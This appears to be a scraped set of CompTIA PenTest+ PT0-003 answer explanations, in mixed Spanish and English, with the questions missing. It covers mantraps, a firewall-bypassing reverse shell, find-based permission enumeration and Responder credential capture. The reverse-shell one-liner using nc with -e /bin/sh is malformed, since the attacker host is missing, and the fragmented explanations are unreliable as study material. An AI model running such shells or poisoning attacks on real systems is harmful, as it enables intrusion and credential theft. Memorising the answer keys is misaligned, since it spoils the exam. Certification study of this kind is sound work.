CompTIA Updated PT0-003 Exam Questions and Answers by leonidas

Un access control vestibule (también conocido como mantrap) es una estructura de seguridad que permite que solo una persona entre a la vez a través de dos puertas controladas. Este tipo de estructura está diseñada específicamente para evitar tailgating, donde una persona no autorizada intenta entrar siguiendo a una autorizada.

No previene ataques como la clonación de credenciales (badge cloning), ni el uso de USB maliciosos, ni técnicas de lock picking.

Referencia: PT0-003 Objective 2.1 – Physical security controls, including mantraps and their use against tailgating.

The tester needs to pivot from the compromised web server while bypassing firewall restrictions that allow:

Inbound traffic only on TCP 443 (HTTPS) and TCP 53 (DNS)

Unrestricted outbound traffic

Reverse shell using TCP 443 (Option D):

This command initiates an outbound connection to the pentester's machine on port 443, which is allowed by the firewall.

Example:

/bin/sh -c 'nc 443 -e /bin/sh'

The pentester listens on TCP 443 and receives the shell from the target.

The command uses find / -type f -ls to traverse the filesystem from the root directory and list every file while outputting extended metadata similar to a long listing. This includes key attributes such as owner, group, permissions (mode bits), size, timestamps, and full path. In PenTest+ post-exploitation and local enumeration practices, collecting this information supports permission enumeration—identifying files that are misconfigured (for example, world-writable or group-writable), sensitive files with overly broad read access, or binaries with special permissions (such as SUID/SGID) that can enable privilege escalation. Writing the results to /tmp/recon.txt preserves the data for offline review and filtering (e.g., searching for writable directories, credential files, configuration files, or unexpected permission patterns).

This is not primarily secrets enumeration because the command does not read file contents or search for tokens/password strings. It is not user enumeration (which focuses on accounts, groups, sudo rules, and login artifacts) and not service enumeration (which targets running processes, listening ports, and service configurations). The direct goal is mapping permissions across the filesystem.

Comprehensive and Detailed Explanation:

Given an insecure wireless network (e.g., open or poorly secured Wi-Fi), a practical initial access technique is to capture or poison name resolution/authentication requests from client systems once they are on that network. Responder is designed to perform LLMNR/NBT-NS/MDNS poisoning and capture NTLM authentication attempts and other credential material on a local network segment. On an insecure Wi-Fi network an attacker can either join the network or run a rogue AP and then run Responder to capture credentials from connected clients — a typical and effective initial-access method in such scenarios.

Why not the others:

B. Metasploit — a general exploitation framework; useful after finding a vulnerable service, but not specifically the most-likely initial tool on an insecure Wi-Fi.

C. Netcat — a raw TCP/UDP utility (listeners/shells); useful post-exploitation but not for capturing broadcast name resolution requests.

D. Nmap — a scanner to discover hosts/ports; helpful reconnaissance, but not directly used to capture credentials on a local insecure wireless segment.

CompTIA PT0-003 Mapping: Wireless/host-based attacks and network credential-capture techniques (evil twin/rogue AP and LLMNR/NetBIOS poisoning).